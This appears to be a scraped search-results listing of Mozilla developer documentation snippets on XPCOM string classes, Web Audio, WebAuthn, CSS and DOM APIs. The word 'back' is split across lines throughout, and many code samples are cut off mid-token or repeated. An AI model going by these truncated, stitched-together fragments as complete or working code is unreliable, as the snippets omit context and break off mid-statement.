backwards, looking for the given string @param astring is substring to be sought in this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in this string to start searching.
nsAdoptingCString
@return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 find(const char*, prbool, print32, print32) const - source parameters char* astring prbool aignorecase print32 aoffset print32 acount rfind print32 rfind(const nscstring&, prbool, print32, print32) const - source this methods scans the string
backwards, looking for the given string @param astring is substring to be sought in this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in this string to start searching.
nsAdoptingString
nt32 acount print32 find(const nsaflatstring&, print32, print32) const - source parameters nsaflatstring& astring print32 aoffset print32 acount print32 find(const prunichar*, print32, print32) const - source parameters prunichar* astring print32 aoffset print32 acount rfind print32 rfind(const nscstring&, prbool, print32, print32) const - source this methods scans the string
backwards, looking for the given string @param astring is substring to be sought in this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in this string to start searching.
nsAutoString
nt32 acount print32 find(const nsaflatstring&, print32, print32) const - source parameters nsaflatstring& astring print32 aoffset print32 acount print32 find(const prunichar*, print32, print32) const - source parameters prunichar* astring print32 aoffset print32 acount rfind print32 rfind(const nscstring&, prbool, print32, print32) const - source this methods scans the string
backwards, looking for the given string @param astring is substring to be sought in this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in this string to start searching.
nsCAutoString
n string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 find(const char*, prbool, print32, print32) const - source parameters char* astring prbool aignorecase print32 aoffset print32 acount rfind print32 rfind(const nscstring&, prbool, print32, print32) const - source this methods scans the string
backwards, looking for the given string @param astring is substring to be sought in this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in this string to start searching.
nsCString
@return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 find(const char*, prbool, print32, print32) const - source parameters char* astring prbool aignorecase print32 aoffset print32 acount rfind print32 rfind(const nscstring&, prbool, print32, print32) const - source this methods scans the string
backwards, looking for the given string @param astring is substring to be sought in this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in this string to start searching.
nsDependentCString
@return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 find(const char*, prbool, print32, print32) const - source parameters char* astring prbool aignorecase print32 aoffset print32 acount rfind print32 rfind(const nscstring&, prbool, print32, print32) const - source this methods scans the string
backwards, looking for the given string @param astring is substring to be sought in this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in this string to start searching.
nsDependentString
nt32 acount print32 find(const nsaflatstring&, print32, print32) const - source parameters nsaflatstring& astring print32 aoffset print32 acount print32 find(const prunichar*, print32, print32) const - source parameters prunichar* astring print32 aoffset print32 acount rfind print32 rfind(const nscstring&, prbool, print32, print32) const - source this methods scans the string
backwards, looking for the given string @param astring is substring to be sought in this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in this string to start searching.
nsFixedCString
@return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 find(const char*, prbool, print32, print32) const - source parameters char* astring prbool aignorecase print32 aoffset print32 acount rfind print32 rfind(const nscstring&, prbool, print32, print32) const - source this methods scans the string
backwards, looking for the given string @param astring is substring to be sought in this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in this string to start searching.
nsFixedString
nt32 acount print32 find(const nsaflatstring&, print32, print32) const - source parameters nsaflatstring& astring print32 aoffset print32 acount print32 find(const prunichar*, print32, print32) const - source parameters prunichar* astring print32 aoffset print32 acount rfind print32 rfind(const nscstring&, prbool, print32, print32) const - source this methods scans the string
backwards, looking for the given string @param astring is substring to be sought in this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in this string to start searching.
nsPromiseFlatCString
@return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 find(const char*, prbool, print32, print32) const - source parameters char* astring prbool aignorecase print32 aoffset print32 acount rfind print32 rfind(const nscstring&, prbool, print32, print32) const - source this methods scans the string
backwards, looking for the given string @param astring is substring to be sought in this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in this string to start searching.
nsPromiseFlatString
nt32 acount print32 find(const nsaflatstring&, print32, print32) const - source parameters nsaflatstring& astring print32 aoffset print32 acount print32 find(const prunichar*, print32, print32) const - source parameters prunichar* astring print32 aoffset print32 acount rfind print32 rfind(const nscstring&, prbool, print32, print32) const - source this methods scans the string
backwards, looking for the given string @param astring is substring to be sought in this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in this string to start searching.
RefPtr
instead of using "do_queryinterface()" (which is used for nscomptrs), use "do_queryobject()", which works with refptrs: // let's say nsfoo implements nsifoo and nsibar xpcom interfaces: refptr<nsfoo> foo = new nsfoo(); nscomptr<nsibar> bar(do_queryobject(foo)); moz_assert(bar, "yikes someone changed the base classes of nsfoo"); can i queryinterface an nscomptr
back to a refptr?
nsString
nt32 acount print32 find(const nsaflatstring&, print32, print32) const - source parameters nsaflatstring& astring print32 aoffset print32 acount print32 find(const prunichar*, print32, print32) const - source parameters prunichar* astring print32 aoffset print32 acount rfind print32 rfind(const nscstring&, prbool, print32, print32) const - source this methods scans the string
backwards, looking for the given string @param astring is substring to be sought in this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in this string to start searching.
nsXPIDLCString
@return offset in string, or knotfound parameters nscstring& astring prbool aignorecase print32 aoffset print32 acount print32 find(const char*, prbool, print32, print32) const - source parameters char* astring prbool aignorecase print32 aoffset print32 acount rfind print32 rfind(const nscstring&, prbool, print32, print32) const - source this methods scans the string
backwards, looking for the given string @param astring is substring to be sought in this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in this string to start searching.
nsXPIDLString
nt32 acount print32 find(const nsaflatstring&, print32, print32) const - source parameters nsaflatstring& astring print32 aoffset print32 acount print32 find(const prunichar*, print32, print32) const - source parameters prunichar* astring print32 aoffset print32 acount rfind print32 rfind(const nscstring&, prbool, print32, print32) const - source this methods scans the string
backwards, looking for the given string @param astring is substring to be sought in this @param aignorecase tells us whether or not to do caseless compare @param aoffset tells us where in this string to start searching.
IAccessible2
without the availability of windowhandle, the at would have to get the window handle by using windowfromaccessibleobject on each iaccessible, which is slow because it's implemented by oleacc.dll as a loop which crawls up the ancestor chain and looks for a role_window object, mapping that
back to a window handle.
imgICache
findentryproperties() find properties used to get properties such as 'type' and 'content-disposition' 'type' is a nsisupportscstring containing the images' mime type such as 'image/png' 'content-disposition' will be a nsisupportscstring containing the header if you call this before any data has been loaded from a uri, it will succeed, but come
back empty.
imgIContainer
obsolete since gecko 2.0 currentframeisopaque boolean whether the current frame is opaque; that is, needs the
background painted behind it.
imgIDecoderObserver
by the time this call
back is been called, the size has been set on the container and status_size_available has been set on the associated imgrequest.
AudioContext() - Web APIs
available properties are as follows: latencyhint optional the type of play
back that the context will be used for, as a value from the audiocontextlatencycategory enum or a double-precision floating-point value indicating the preferred maximum latency of the context in seconds.
AudioContext.baseLatency - Web APIs
example // default latency ("interactive") const audioctx1 = new audiocontext(); console.log(audioctx1.baselatency); // 0.00 // higher latency ("play
back") const audioctx2 = new audiocontext({ latencyhint: 'play
back' }); console.log(audioctx2.baselatency); // 0.15 specifications specification status comment web audio apithe definition of 'baselatency' in that specification.
AudioContext.createMediaStreamSource() - Web APIs
ut = function() { biquadfilter.gain.value = range.value; } }) .catch(function(err) { console.log('the following gum error occured: ' + err); }); } else { console.log('getusermedia not supported on your browser!'); } // dump script to pre element pre.innerhtml = myscript.innerhtml; note: as a consequence of calling createmediastreamsource(), audio play
back from the media stream will be re-routed into the processing graph of the audiocontext.
AudioNode - Web APIs
on the other hand, a destination node has no outputs; instead, all its inputs are directly played
back on the speakers (or whatever audio output device the audio context uses).
AudioProcessingEvent - Web APIs
play
backtime read only double the time when the audio will be played, as defined by the time of audiocontext.currenttime inputbuffer read only audiobuffer the buffer containing the input audio data to be processed.
AuthenticatorAssertionResponse - Web APIs
examples var options = { challenge: new uint8array([/* bytes sent from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { var assertionresponse = credentialinfoassertion.response; // do something specific with the response // send assertion response
back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'authenticatorassertionresponse interface' in that specification.
AuthenticatorAttestationResponse.attestationObject - Web APIs
name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var attestationobj = newcredentialinfo.response.attestationobject; // this will be a cbor encoded arraybuffer // do something with the response // (sending it
back to the relying party server maybe?) }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'attestationobject' in that specification.
AuthenticatorAttestationResponse - Web APIs
d : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var response = newcredentialinfo.response; // do something with the response // (sending it
back to the relying party server maybe?) }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'authenticatorattestationresponse interface' in that specification.
AuthenticatorResponse - Web APIs
examples getting an authenticatorassertionresponse var options = { challenge: new uint8array([/* bytes sent from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { var assertionresponse = credentialinfoassertion.response; // send assertion response
back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); getting an authenticatorattestationresponse var publickey = { challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pub...
BaseAudioContext.createChannelMerger() - Web APIs
omestereobuffer, function(data) { var source = ac.createbuffersource(); source.buffer = data; var splitter = ac.createchannelsplitter(2); source.connect(splitter); var merger = ac.createchannelmerger(2); // reduce the volume of the left channel only var gainnode = ac.creategain(); gainnode.gain.setvalueattime(0.5, ac.currenttime); splitter.connect(gainnode, 0); // connect the splitter
back to the second input of the merger: we // effectively swap the channels, here, reversing the stereo image.
BaseAudioContext.createChannelSplitter() - Web APIs
omestereobuffer, function(data) { var source = ac.createbuffersource(); source.buffer = data; var splitter = ac.createchannelsplitter(2); source.connect(splitter); var merger = ac.createchannelmerger(2); // reduce the volume of the left channel only var gainnode = ac.creategain(); gainnode.gain.setvalueattime(0.5, ac.currenttime); splitter.connect(gainnode, 0); // connect the splitter
back to the second input of the merger: we // effectively swap the channels, here, reversing the stereo image.
BaseAudioContext.createGain() - Web APIs
<button class="mute">mute button</button> </div> var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var gainnode = audioctx.creategain(); var mute = document.queryselector('.mute'); var source; if (navigator.mediadevices.getusermedia) { navigator.mediadevices.getusermedia ( // constraints - only audio needed for this app { audio: true }, // success call
back function(stream) { source = audioctx.createmediastreamsource(stream); }, // error call
back function(err) { console.log('the following gum error occured: ' + err); } ); } else { console.log('getusermedia not supported on your browser!'); } source.connect(gainnode); gainnode.connect(audioctx.destination); ...
BaseAudioContext.currentTime - Web APIs
the currenttime read-only property of the baseaudiocontext interface returns a double representing an ever-increasing hardware timestamp in seconds that can be used for scheduling audio play
back, visualizing timelines, etc.
BudgetService.getCost() - Web APIs
the getcost() property of the budgetservice interface returns a promise that resolves to a double indicating the worst-case
background operation cost of the provided
background operation.
BudgetService - Web APIs
methods budgetservice.getcost() returns a promise that resolves to a double, indicating the worst-case
background operation cost of the provided
background operation.
CSSCounterStyleRule - Web APIs
csscounterstylerule.fall
back is a domstring object that contains the serialization of the fall
back descriptor defined for the associated rule.
CSSPositionValue - Web APIs
#image { width: 300px; height: 300px; border: 1px solid black;
background-color: #dededf; object-fit: none; } <p>check the developer tools to see the log in the console and to inspect the style attribute on the image.</p> <img id="image" src="https://udn.realityripple.com/samples/db/4f9fbd7dfb.svg" alt="mdn logo"/> ...
CSSRule.cssText - Web APIs
syntax string = cssrule.csstext example <style> body {
background-color: darkblue; } </style> <script> var stylesheet = document.stylesheets[0]; alert(stylesheet.cssrules[0].csstext); // body {
background-color: darkblue; } </script> specifications specification status comment css object model (cssom)the definition of 'cssrule: csstext' in that specification.
CSSStyleDeclaration.length - Web APIs
example the following gets the number of explicitly set styles on the following html element: <div id="div1" style="margin: 0 10px;
background-color: #ca1; font-family: monospace"></div> javascript code: var mydiv = document.getelementbyid('div1'); var divstyle = mydiv.style; var len = divstyle.length; // 6 specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.length' in that specification.
CSSStyleDeclaration.removeProperty() - Web APIs
example the following javascript code removes the
background-color css property from a selector rule: var declaration = document.stylesheets[0].rules[0].style; var oldvalue = declaration.removeproperty('
background-color'); specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.removeproperty()' in that specification.
CSSStyleRule.selectorText - Web APIs
syntax string = cssrule.selectortext example // for cssrule: body {
background-color: darkblue; } var stylesheet = document.stylesheets[0]; alert(stylesheet.cssrules[0].selectortext); // body notes the implementation may have stripped out insignificant whitespace while parsing the selector.
CSSStyleRule.style - Web APIs
syntax styleobj = cssrule.style example function stilo() { alert(document.stylesheets[0].cssrules[0].style.csstext); } // displays "
background-color: gray;" notes the declaration block is that part of the style rule that appears within the braces and that actually provides the style definitions (for the selector, the part that comes before the braces).
Managing screen orientation - Web APIs
n /* first let's define some common styles */ html, body { width : 100%; height: 100%; } body { border: 1px solid black; -moz-box-sizing: border-box; box-sizing: border-box; } p { font : 1em sans-serif; margin : 0; padding: .5em; } ul { list-style: none; font : 1em monospace; margin : 0; padding: .5em; -moz-box-sizing: border-box; box-sizing: border-box;
background: black; } li { display: inline-block; margin : 0; padding: 0.5em;
background: white; } once we have some common styles we can start defining a special case for the orientation /* for portrait, we want the tool bar on top */ @media screen and (orientation: portrait) { #toolbar { width: 100%; } } /* for landscape, we want the tool bar stick on the left */ @media screen ...
Cache - Web APIs
by doing so, we get to keep // the original response object which we will return
back to the controlled page.
CanvasRenderingContext2D.createPattern() - Web APIs
javascript // create a pattern, offscreen const patterncanvas = document.createelement('canvas'); const patterncontext = patterncanvas.getcontext('2d'); // give the pattern a width and height of 50 patterncanvas.width = 50; patterncanvas.height = 50; // give the pattern a
background color and draw an arc patterncontext.fillstyle = '#fec'; patterncontext.fillrect(0, 0, patterncanvas.width, patterncanvas.height); patterncontext.arc(0, 0, 50, 0, .5 * math.pi); patterncontext.stroke(); // create our primary canvas and fill it with the pattern const canvas = document.createelement('canvas'); const ctx = canvas.getcontext('2d'); const pattern = ctx.createpattern(patterncanv...
CanvasRenderingContext2D.drawFocusIfNeeded() - Web APIs
.offsettop; // focus button1, if appropriate drawbutton(button1, 20, 20); if (ctx.ispointinpath(x, y)) { button1.focus(); } // focus button2, if appropriate drawbutton(button2, 20, 80); if (ctx.ispointinpath(x, y)) { button2.focus(); } } function drawbutton(el, x, y) { const active = document.activeelement === el; const width = 150; const height = 40; // button
background ctx.fillstyle = active ?
Compositing example - Web APIs
function createcanvas() { var canvas = document.createelement("canvas"); canvas.style.
background = "url("+op_8x8.data+")"; canvas.style.border = "1px solid #000"; canvas.style.margin = "5px"; canvas.width = width/2; canvas.height = height/2; return canvas; } function runcomposite() { var dl = document.createelement("dl"); document.body.appendchild(dl); while(gco.length) { var pop = gco.pop(); var dt = document.createelement("dt"); ...
ChannelMergerNode - Web APIs
omestereobuffer, function(data) { var source = ac.createbuffersource(); source.buffer = data; var splitter = ac.createchannelsplitter(2); source.connect(splitter); var merger = ac.createchannelmerger(2); // reduce the volume of the left channel only var gainnode = ac.creategain(); gainnode.gain.setvalueattime(0.5, ac.currenttime); splitter.connect(gainnode, 0); // connect the splitter
back to the second input of the merger: we // effectively swap the channels, here, reversing the stereo image.
ChannelSplitterNode - Web APIs
omestereobuffer, function(data) { var source = ac.createbuffersource(); source.buffer = data; var splitter = ac.createchannelsplitter(2); source.connect(splitter); var merger = ac.createchannelmerger(2); // reduce the volume of the left channel only var gainnode = ac.creategain(); gainnode.gain.setvalueattime(0.5, ac.currenttime); splitter.connect(gainnode, 0); // connect the splitter
back to the second input of the merger: we // effectively swap the channels, here, reversing the stereo image.
Client.type - Web APIs
your message was: " + e.data); // let's also post the type value
back to the client e.source.postmessage(e.source.type); }); specifications specification status comment service workersthe definition of 'type' in that specification.
Console.group() - Web APIs
for example, given this code: console.log("this is the outer level"); console.group(); console.log("level 2"); console.group(); console.log("level 3"); console.warn("more of level 3"); console.groupend(); console.log("
back to level 2"); console.groupend(); console.log("
back to the outer level"); the output looks like this: see using groups in the console in the documentation of console for more details.
DisplayMediaStreamConstraints.video - Web APIs
these may include
backing buffers for windows to allow capture of window contents that are hidden by other windows in front of them, or buffers containing larger documents that need to be scrolled through to see the entire contents in their windows.
Document.anchors - Web APIs
hild(li); } } </script> </head> <body onload="init()"> <h1>title</h1> <h2><a name="contents">contents</a></h2> <ul id="toc"></ul> <h2><a name="plants">plants</a></h2> <ol> <li>apples</li> <li>oranges</li> <li>pears</li> </ol> <h2><a name="veggies">veggies</a></h2> <ol> <li>carrots</li> <li>celery</li> <li>beats</li> </ol> </body> </html> view on jsfiddle notes for reasons of
backwards compatibility, the returned set of anchors only contains those anchors created with the name attribute, not those created with the id attribute.
Document.cookie - Web APIs
r property is due to the client-server nature of cookies, which differs from other client-client storage methods (like, for instance, localstorage): the server tells the client to store a cookie http/1.0 200 ok content-type: text/html set-cookie: cookie_name1=cookie_value1 set-cookie: cookie_name2=cookie_value2; expires=sun, 16 jul 3567 06:23:41 gmt [content of the page here] the client sends
back to the server its cookies previously stored get /sample_page.html http/1.1 host: www.example.org cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2 accept: */* specifications specification status comment document object model (dom) level 2 html specificationthe definition of 'document.cookie' in that specification.
Document.createElement() - Web APIs
note: for
backwards compatibility with previous versions of the custom elements specification, some browsers will allow you to pass a string here instead of an object, where the string's value is the custom element's tag name.
Document.createElementNS() - Web APIs
for
backwards compatibility with previous versions of the custom elements specification, some browsers will allow you to pass a string here instead of an object, where the string's value is the custom element's tag name.
Document.createNodeIterator() - Web APIs
its acceptnode() method will be called for each node in the subtree based at root which is accepted as included by the whattoshow flag to determine whether or not to include it in the list of iterable nodes (a simple call
back function may also be used instead).
Document.currentScript - Web APIs
(for modules use import.meta instead.) it's important to note that this will not reference the <script> element if the code in the script is being called as a call
back or event handler; it will only reference the element while it's initially being processed.
Document.hasFocus() - Web APIs
html <p id="log">awaiting focus check.</p> <button onclick="openwindow()">open a new window</button> javascript function checkpagefocus() { let body = document.queryselector('body'); let log = document.getelementbyid('log'); if (document.hasfocus()) { log.textcontent = 'this document has the focus.'; body.style.
background = '#fff'; } else { log.textcontent = 'this document does not have the focus.'; body.style.
background = '#ccc'; } } function openwindow() { window.open('https://developer.mozilla.org/', 'mdn', 'width=640,height=320,left=150,top=150'); } // check page focus every 300 milliseconds setinterval(checkpagefocus, 300); result specification specification status ...
Document.importNode() - Web APIs
best practice: though it's still an optional argument, you should always provide the deep argument for
backward and forward compatibility.
Document: visibilitychange event - Web APIs
document.addeventlistener("visibilitychange", function() { if (document.visibilitystate === 'visible') {
backgroundmusic.play(); } else {
backgroundmusic.pause(); } }); specifications specification status comment page visibility (second edition)the definition of 'visibilitychange' in that specification.
Document: wheel event - Web APIs
<div>scale me with your mouse wheel.</div> body { min-height: 100vh; margin: 0; display: flex; align-items: center; justify-content: center; } div { width: 105px; height: 105px;
background: #cdf; padding: 5px; } function zoom(event) { event.preventdefault(); if (event.deltay < 0) { // zoom in scale *= event.deltay * -2; } else { // zoom out scale /= event.deltay * 2; } // restrict scale scale = math.min(math.max(.125, scale), 4); // apply scale transform el.style.transform = `scale(${scale})`; } let scale = 1; const el = document.query...
DocumentFragment.querySelector() - Web APIs
to match id or selectors that do not follow the css syntax (by using semicolon or space inappropriately for example), it's mandatory to escape the wrong character with a double
back slash: <div id="foo\bar"></div> <div id="foo:bar"></div> <script> document.queryselector('#foo\bar') // does not match anything document.queryselector('#foo\\\\bar') // match the first div document.queryselector('#foo:bar') // does not match anything document.queryselector('#foo\\:bar') // match the second div </script> specifications specification status comment ...
Introduction to the DOM - Web APIs
figure 0.1 sample dom test page in this example, the drop-down menus dynamically update such dom—accessible aspects of the web page as its
background color (bgcolor), the color of the hyperlinks (alink), and color of the text (text).
How whitespace is handled by HTML, CSS, and in the DOM - Web APIs
consider this example (again, the whitespace characters in the html are marked so they are visible): .people-list { list-style-type: none; margin: 0; padding: 0; } .people-list li { display: inline-block; width: 2em; height: 2em;
background: #f06; border: 1px solid; } <ul class="people-list">⏎ ◦◦<li></li>⏎ ◦◦<li></li>⏎ ◦◦<li></li>⏎ ◦◦<li></li>⏎ ◦◦<li></li>⏎ </ul> this renders as follows: hidden example 3 .people-list { list-style-type: none; margin: 0; padding: 0; } .people-list li { display: inline-block; width: 2em; height: 2em;
background: #f06; border: 1px solid; } <ul class=...
EffectTiming.easing - Web APIs
m: 'translatey(0)' }, { transform: 'translatey(-100%)' } ]; // get the element that represents alice and the red queen var redqueen_alice_sprite = document.getelementbyid('red-queen_and_alice_sprite'); // animate alice and the red queen using steps() var redqueen_alice = redqueen_alice_sprite.animate( spriteframes, { easing: 'steps(7, end)', direction: "reverse", duration: 600, play
backrate: 1, iterations: infinity }); specifications specification status comment web animationsthe definition of 'easing' in that specification.
Element.classList - Web APIs
(window.element.prototype, "classlist", { enumerable: 1, get: function(val){ if (!hasownprop.call(this, "classlist")) polyfillclasslist(this); return this.classlist; }, configurable: 0, set: function(val){this.classname = val} }); } catch(e) { // less performant fall
back for older browsers (ie 6-8): window[" ucl"] = polyfillclasslist; // the below code ensures polyfillclasslist is applied to all current and future elements in the doc.
Element.computedStyleMap() - Web APIs
<p> <a href="https://example.com">link</a> </p> <dl id="regurgitation"></dl> we add a little bit of css a { --colour: red; color: var(--colour); } we add javascript to grab our link and return
back a definition list of all the css property values using computedstylemap().
Element: copy event - Web APIs
examples live example html <div class="source" contenteditable="true">try copying text from this box...</div> <div class="target" contenteditable="true">...and pasting it into this one</div> css div.source, div.target { border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem;
background-color: #e9eef1; } js const source = document.queryselector('div.source'); source.addeventlistener('copy', (event) => { const selection = document.getselection(); event.clipboarddata.setdata('text/plain', selection.tostring().touppercase()); event.preventdefault(); }); result specifications specification status clipboard api and events workin...
Element: cut event - Web APIs
examples live example html <div class="source" contenteditable="true">try cutting text from this box...</div> <div class="target" contenteditable="true">...and pasting it into this one</div> css div.source, div.target { border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem;
background-color: #e9eef1; } js const source = document.queryselector('div.source'); source.addeventlistener('cut', (event) => { const selection = document.getselection(); event.clipboarddata.setdata('text/plain', selection.tostring().touppercase()); selection.deletefromdocument(); event.preventdefault(); }); result specifications specification status ...
Element: dblclick event - Web APIs
javascript const card = document.queryselector('aside'); card.addeventlistener('dblclick', function (e) { card.classlist.toggle('large'); }); html <aside> <h3>my card</h3> <p>double click to resize this object.</p> </aside> css aside {
background: #fe9; border-radius: 1em; display: inline-block; padding: 1em; transform: scale(.9); transform-origin: 0 0; transition: transform .6s; } .large { transform: scale(1.3); } result specifications specification status ui eventsthe definition of 'dblclick' in that specification.
Element: focusin event - Web APIs
focusevent event handler property onfocusin sync / async sync composed yes examples live example html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const form = document.getelementbyid('form'); form.addeventlistener('focusin', (event) => { event.target.style.
background = 'pink'; }); form.addeventlistener('focusout', (event) => { event.target.style.
background = ''; }); result specifications specification status comment ui events working draft added info that this event is composed.
Element: focusout event - Web APIs
focusevent event handler property onfocusout sync / async sync composed yes examples live example html <form id="form"> <input type="text" placeholder="text input"> <input type="password" placeholder="password"> </form> javascript const form = document.getelementbyid('form'); form.addeventlistener('focusin', (event) => { event.target.style.
background = 'pink'; }); form.addeventlistener('focusout', (event) => { event.target.style.
background = ''; }); result specifications specification status comment ui events working draft added info that this event is composed.
Element.insertAdjacentElement() - Web APIs
example beforebtn.addeventlistener('click', function() { var tempdiv = document.createelement('div'); tempdiv.style.
backgroundcolor = randomcolor(); if (activeelem) { activeelem.insertadjacentelement('beforebegin',tempdiv); } setlistener(tempdiv); }); afterbtn.addeventlistener('click', function() { var tempdiv = document.createelement('div'); tempdiv.style.
backgroundcolor = randomcolor(); if (activeelem) { activeelem.insertadjacentelement('afterend',tempdiv); } setlistener(tempdiv); }); ha...
Element: overflow event - Web APIs
bubbles yes cancelable yes interface uievent event handler property unknown examples <div id="wrapper"> <div id="child"></div> </div> <br/> <label><input type="checkbox" id="toggle" checked/> overflow</label> <style> #wrapper { width: 20px; height: 20px;
background: #000; padding: 5px; overflow: hidden; } #child { width: 40px; height: 40px; border: 2px solid grey;
background: #ccc; } </style> <script> var wrapper = document.getelementbyid("wrapper"), child = document.getelementbyid("child"), toggle = document.getelementbyid("toggle"); wrapper.addeventlistener("overflow", function( event ) { consol...
Element: paste event - Web APIs
examples live example html <div class="source" contenteditable="true">try copying text from this box...</div> <div class="target" contenteditable="true">...and pasting it into this one</div> css div.source, div.target { border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem;
background-color: #e9eef1; } js const target = document.queryselector('div.target'); target.addeventlistener('paste', (event) => { let paste = (event.clipboarddata || window.clipboarddata).getdata('text'); paste = paste.touppercase(); const selection = window.getselection(); if (!selection.rangecount) return false; selection.deletefromdocument(); selection.getrangeat(0).i...
Element.releasePointerCapture() - Web APIs
html <div id="slider">slide me</div> css div { width: 140px; height: 50px; display: flex; align-items: center; justify-content: center;
background: #fbe; } javascript function beginsliding(e) { slider.onpointermove = slide; slider.setpointercapture(e.pointerid); } function stopsliding(e) { slider.onpointermove = null; slider.releasepointercapture(e.pointerid); } function slide(e) { slider.style.transform = `translate(${e.clientx - 70}px)`; } const slider = document.getelementbyid('slider'); slider.onpointerdown = begin...
Element.scrollLeft - Web APIs
example html <div id="container"> <div id="content">click the button to slide right!</div> </div> <button id="slide" type="button">slide right</button> css #container { width: 100px; height: 100px; border: 1px solid #ccc; overflow-x: scroll; } #content { width: 250px;
background-color: #ccc; } javascript const button = document.getelementbyid('slide'); button.onclick = function () { document.getelementbyid('container').scrollleft += 20; }; result specifications specification status comment css object model (cssom) view modulethe definition of 'scrollleft' in that specification.
Element.setPointerCapture() - Web APIs
html <div id="slider">slide me</div> css div { width: 140px; height: 50px; display: flex; align-items: center; justify-content: center;
background: #fbe; } javascript function beginsliding(e) { slider.onpointermove = slide; slider.setpointercapture(e.pointerid); } function stopsliding(e) { slider.onpointermove = null; slider.releasepointercapture(e.pointerid); } function slide(e) { slider.style.transform = `translate(${e.clientx - 70}px)`; } const slider = document.getelementbyid('slider'); slider.onpointerdown = begin...
Element.tabStop - Web APIs
after feed
back, this property was removed from the design doc and replaced by shadowroot.delegatesfocus.
Element: underflow event - Web APIs
bubbles yes cancelable yes interface uievent event handler property unknown examples <div id="wrapper"> <div id="child"></div> </div> <br/> <label><input type="checkbox" id="toggle" checked/> overflow</label> <style> #wrapper { width: 20px; height: 20px;
background: #000; padding: 5px; overflow: hidden; } #child { width: 40px; height: 40px; border: 2px solid grey;
background: #ccc; } </style> <script> var wrapper = document.getelementbyid("wrapper"), child = document.getelementbyid("child"), toggle = document.getelementbyid("toggle"); wrapper.addeventlistener("overflow", function( event ) { consol...
Element: wheel event - Web APIs
<div>scale me with your mouse wheel.</div> body { min-height: 100vh; margin: 0; display: flex; align-items: center; justify-content: center; } div { width: 105px; height: 105px;
background: #cdf; padding: 5px; } function zoom(event) { event.preventdefault(); scale += event.deltay * -0.01; // restrict scale scale = math.min(math.max(.125, scale), 4); // apply scale transform el.style.transform = `scale(${scale})`; } let scale = 1; const el = document.queryselector('div'); el.onwheel = zoom; addeventlistener equivalent the event handler can also be set up...
Element - Web APIs
this can be used to watch both for successful expected transitions, but also to watch for unexpected changes, such as when your app is running in the
background.
Comparison of Event Targets - Web APIs
tp-equiv="x-ua-compatible" content="ie=edge"> <title>comparison of event targets</title> <style> table { border-collapse: collapse; height: 150px; width: 100%; } td { border: 1px solid #ccc; font-weight: bold; padding: 5px; min-height: 30px; } .standard {
background-color: #99ff99; } .non-standard {
background-color: #902d37; } </style> </head> <body> <table> <thead> <tr> <td class="standard">original target dispatching the event <small>event.target</small></td> <td class="standard">target who's event listener is being processed <small>event.currenttarget</small></td> ...
Event.preventDefault() - Web APIs
html here's the form: <div class="container"> <p>please enter your name using lowercase letters only.</p> <form> <input type="text" id="my-textbox"> </form> </div> css we use a little bit of css for the warning box we'll draw when the user presses an invalid key: .warning { border: 2px solid #f39389; border-radius: 2px; padding: 10px; position: absolute;
background-color: #fbd8d4; color: #3b3c40; } javascript and here's the javascript code that does the job.
EventListener - Web APIs
example html <button id="btn">click here!</button> javascript const buttonelement = document.getelementbyid('btn'); // add a handler for the 'click' event by providing a call
back function.
EventTarget.removeEventListener() - Web APIs
const body = document.queryselector('body') const clicktarget = document.getelementbyid('click-target') const mouseovertarget = document.getelementbyid('mouse-over-target') let toggle = false; function make
backgroundyellow() { if (toggle) { body.style.
backgroundcolor = 'white'; } else { body.style.
backgroundcolor = 'yellow'; } toggle = !toggle; } clicktarget.addeventlistener('click', make
backgroundyellow, false ); mouseovertarget.addeventlistener('mouseover', function () { clicktarget.removeeventlistener('click', make
backgroundyellow, false ...
EventTarget - Web APIs
void seteventhandler(domstring type, eventhandler handler) eventhandler geteventhandler(domstring type) example simple implementation of eventtarget var eventtarget = function() { this.listeners = {}; }; eventtarget.prototype.listeners = null; eventtarget.prototype.addeventlistener = function(type, call
